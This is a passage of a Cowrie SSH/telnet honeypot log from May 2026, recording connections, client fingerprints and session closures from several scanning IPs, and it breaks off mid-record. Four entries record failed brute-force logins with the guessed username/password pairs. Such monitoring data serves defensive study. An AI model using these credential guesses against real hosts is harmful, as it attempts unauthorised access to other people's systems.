{"eventid":"cowrie.session.closed","duration":31.225364685058594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:18.235077Z","src_ip":"62.77.140.101","session":"461576331e5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":49872,"dst_ip":"159.203.135.109","dst_port":23,"session":"bac207fef471","protocol":"telnet","message":"New connection: 62.77.140.101:49872 (159.203.135.109:23) [session: bac207fef471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:18.525131Z"}
{"eventid":"cowrie.session.closed","duration":31.203948974609375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:19.680986Z","src_ip":"62.77.140.101","session":"d50ce7101718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041373252868652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:21.194090Z","src_ip":"107.152.33.170","session":"c2dafa3447aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879249095916748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:21.215022Z","src_ip":"62.77.140.101","session":"bd2b1a815af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":38350,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e53803177bf","protocol":"telnet","message":"New connection: 107.152.33.170:38350 (159.203.135.109:23) [session: 3e53803177bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:21.505849Z"}
{"eventid":"cowrie.session.closed","duration":30.45582938194275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:23.020683Z","src_ip":"107.152.33.170","session":"dc366a75a9ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616934061050415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:23.069542Z","src_ip":"62.77.140.101","session":"1c611150fdf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.458574056625366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:24.144851Z","src_ip":"107.152.33.170","session":"4532cdd6b60f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574700355529785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:25.137087Z","src_ip":"107.152.33.170","session":"4d0fa1c8b842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":49524,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4374150d1f5","protocol":"telnet","message":"New connection: 138.197.5.236:49524 (159.203.135.109:23) [session: f4374150d1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:25.322198Z"}
{"eventid":"cowrie.session.closed","duration":30.512717247009277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:26.179279Z","src_ip":"107.152.33.170","session":"dcb66bd594ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":43670,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dd19c824314","protocol":"ssh","message":"New connection: 171.244.143.209:43670 (10.17.0.5:22) [session: 9dd19c824314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:26.574483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:26.591711Z","src_ip":"171.244.143.209","session":"9dd19c824314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:26.835455Z","src_ip":"171.244.143.209","session":"9dd19c824314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":47824,"dst_ip":"159.203.135.109","dst_port":22,"session":"50e9cc8a683f","protocol":"ssh","message":"New connection: 124.13.124.212:47824 (159.203.135.109:22) [session: 50e9cc8a683f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:27.438169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:27.442205Z","src_ip":"124.13.124.212","session":"50e9cc8a683f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.47270655632019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:27.548820Z","src_ip":"138.197.5.236","session":"0f266d6df7f0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:27.698623Z","src_ip":"124.13.124.212","session":"50e9cc8a683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2024","message":"login attempt [test/test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:27.838972Z","src_ip":"171.244.143.209","session":"9dd19c824314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.622029304504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:28.129245Z","src_ip":"62.77.140.101","session":"878e4988de4a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"deploy12345","message":"login attempt [ubuntu/deploy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:28.715557Z","src_ip":"124.13.124.212","session":"50e9cc8a683f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:29.090487Z","src_ip":"171.244.143.209","session":"9dd19c824314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:29.966497Z","src_ip":"124.13.124.212","session":"50e9cc8a683f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.988012552261353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:30.214427Z","src_ip":"62.77.140.101","session":"a816dcd2a896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795897245407104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:30.252508Z","src_ip":"62.77.140.101","session":"b550bb09e4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":46681,"dst_ip":"159.203.135.109","dst_port":22,"session":"01f454bafa0e","protocol":"ssh","message":"New connection: 119.195.89.96:46681 (159.203.135.109:22) [session: 01f454bafa0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:30.887025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:30.891472Z","src_ip":"119.195.89.96","session":"01f454bafa0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54946,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8cdb5f0c892","protocol":"ssh","message":"New connection: 159.203.92.129:54946 (159.203.135.109:22) [session: d8cdb5f0c892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:31.067589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:31.072292Z","src_ip":"159.203.92.129","session":"d8cdb5f0c892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:31.077077Z","src_ip":"159.203.92.129","session":"d8cdb5f0c892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:31.087484Z","src_ip":"119.195.89.96","session":"01f454bafa0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"12345678","message":"login attempt [alias/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:31.098465Z","src_ip":"159.203.92.129","session":"d8cdb5f0c892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Guest","password":"guest","message":"login attempt [Guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:31.892569Z","src_ip":"119.195.89.96","session":"01f454bafa0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:32.104306Z","src_ip":"159.203.92.129","session":"d8cdb5f0c892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.609323740005493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:32.136788Z","src_ip":"62.77.140.101","session":"458228c604cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":57716,"dst_ip":"159.203.135.109","dst_port":23,"session":"940581ae501a","protocol":"telnet","message":"New connection: 138.197.5.236:57716 (159.203.135.109:23) [session: 940581ae501a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:32.812701Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:33.089853Z","src_ip":"119.195.89.96","session":"01f454bafa0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":59086,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe08d1fb28a9","protocol":"telnet","message":"New connection: 107.152.33.170:59086 (159.203.135.109:23) [session: fe08d1fb28a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:33.276538Z"}
{"eventid":"cowrie.session.closed","duration":31.169232845306396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:34.399714Z","src_ip":"107.152.33.170","session":"3ac84439ecdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36276865005493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:35.549708Z","src_ip":"138.197.5.236","session":"d7d01844b683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69107937812805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:35.975447Z","src_ip":"107.152.33.170","session":"5393ca2178c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":59092,"dst_ip":"159.203.135.109","dst_port":23,"session":"3459df8c87bb","protocol":"telnet","message":"New connection: 107.152.33.170:59092 (159.203.135.109:23) [session: 3459df8c87bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:37.265551Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":53252,"dst_ip":"159.203.135.109","dst_port":23,"session":"a18027ca3e89","protocol":"telnet","message":"New connection: 62.77.140.101:53252 (159.203.135.109:23) [session: a18027ca3e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:39.826382Z"}
{"eventid":"cowrie.session.closed","duration":31.119382858276367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:40.115942Z","src_ip":"107.152.33.170","session":"66b7ab24b960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068791389465332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:45.577089Z","src_ip":"62.77.140.101","session":"d4ed5ad87b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10212254524231,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:47.123544Z","src_ip":"107.152.33.170","session":"58d2dd52a6fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":44884,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c1a27eec982","protocol":"telnet","message":"New connection: 138.197.5.236:44884 (159.203.135.109:23) [session: 9c1a27eec982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:48.667390Z"}
{"eventid":"cowrie.session.closed","duration":30.58365511894226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:49.108598Z","src_ip":"62.77.140.101","session":"bac207fef471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":39478,"dst_ip":"159.203.135.109","dst_port":23,"session":"079f531773f3","protocol":"telnet","message":"New connection: 62.77.140.101:39478 (159.203.135.109:23) [session: 079f531773f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:49.629130Z"}
{"eventid":"cowrie.session.closed","duration":30.55087685585022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:52.056607Z","src_ip":"107.152.33.170","session":"3e53803177bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099193811416626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:56.421281Z","src_ip":"138.197.5.236","session":"f4374150d1f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":55854,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaf8967f4c6b","protocol":"telnet","message":"New connection: 138.197.5.236:55854 (159.203.135.109:23) [session: aaf8967f4c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:56.439795Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":56694,"dst_ip":"159.203.135.109","dst_port":23,"session":"095586e2d493","protocol":"telnet","message":"New connection: 138.197.5.236:56694 (159.203.135.109:23) [session: 095586e2d493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:57.062270Z"}
{"eventid":"cowrie.session.closed","duration":31.020880460739136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:03.833478Z","src_ip":"138.197.5.236","session":"940581ae501a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315208911895752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:04.591630Z","src_ip":"107.152.33.170","session":"fe08d1fb28a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.775009155273438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:09.040442Z","src_ip":"107.152.33.170","session":"3459df8c87bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.358956336975098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:10.185231Z","src_ip":"62.77.140.101","session":"a18027ca3e89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36302,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8b09d2cd9af","protocol":"ssh","message":"New connection: 159.203.92.129:36302 (159.203.135.109:22) [session: e8b09d2cd9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:15.262129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:09:15.267622Z","src_ip":"159.203.92.129","session":"e8b09d2cd9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","e